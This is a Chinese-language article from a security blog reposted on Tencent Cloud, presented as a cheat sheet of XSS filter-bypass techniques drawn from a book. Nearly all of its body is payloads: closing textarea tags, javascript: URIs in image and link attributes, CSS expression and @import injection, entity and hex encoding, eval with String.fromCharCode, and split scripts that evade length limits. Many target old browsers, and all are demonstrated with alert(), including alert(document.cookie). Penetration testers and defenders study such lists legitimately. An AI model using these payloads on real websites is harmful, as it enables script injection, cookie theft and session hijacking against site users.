前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >技巧 | XSS的常见绕过方法

技巧 | XSS的常见绕过方法

作者头像
HACK学习
发布2019-08-07 10:16:47
2K0
发布2019-08-07 10:16:47
举报
文章被收录于专栏:HACK学习HACK学习

测试XSS常用的一些常用代码:

<script>alert('XSS test')</script> “<script>alert('XSS test')</script> <script>alert(document.cookie)</script> javascript:alert(document.cookie); <textarea>标签绕过: 后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内 那我们就可通过闭合标签绕过 </textarea><script>alert("xx")</script><textarea> 利用HTML标签执行XSS:【浏览器必须支持伪协议 如:IE6】 <img src="javascript:alert('xss')"> <table background="javascript:alert('xss')"></table> <a href="javascript:alert('xss')">点击触发</a> 空格回车TAB绕过: <img src = "java script:alert('xss')"> 中间的空格为TAB。 <img src="ja vascript:alert('xss')"> 通过回车分隔

ASCII转码: <img src="javascr&#105pt:alert(/xxxx/)"> i的的ascii编码是&#105 此方法只能运用在HTML标签中

利用HTML中的事件触发XSS: <img src="#"> 当src引用的图片不存在 触发onerror事件 (这也就是@m01lym0on 所用到的方法) 利用CSS跨站: <div style="background-image:url(javascript:alert('sss'))"> <style>body{background-image:url(javascript:alert('saaa'))} ;</style> <img src="#" style="xss:expression(alert('ssss'))"> 如果style被禁: <div style="list-style-image:url(javascript:alert('xxx'))"> <img style ="background-image:url(javascript:alert('sss'))"> 外部引用含有XSS的CSS文件: 在www.xxx.com/1.css里写入通过link引入 p{ background-image:expression(alert('xss')) } 在目标站通过link引入 <link rel="stylesheet" href="www.xxx.com/1.css"> 通过@import直接执行javascript代码: <style>@import “javascript:alert('sss')”;</style> 大小写混淆绕过: <img src="#"> 不用空格: <img/src="javascript:alert('sss')"> 通过全角字符绕过: <div style="left:expression(alert('xx'))"> 通过/**/,\0混淆过滤: <img st/**/src ="javascript:alert('sssa')"> <style>@i\0mport "javascript:aler\0t('sss')";</style> 利用字符编码绕过: <img src="javascript:&#97;lert&#40;&#39;xxxx&#39;&#41;"> 10进制转义 <img src="javascript:alert('xxxx')"> 16进制转义 <script>eval("alert('xaaa')")</script> 通过eval()函数执行js <script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script> 16进制转码后通过eval函数执行 <img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))"> eval()配合String.fromCharCode()函数执行10进制脚本 代码拆分执行: <script>z='javascript:'</script> <script>z=z+'alert(/xxss/)'</script> <script>eval(z)</script> 可绕过字符长度限制

------------------------- 以上都是在《XSS跨站脚本攻击剖析与防御》学习到的绕过方法

没事多看看书,永远不亏!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-08-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 HACK学习呀 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档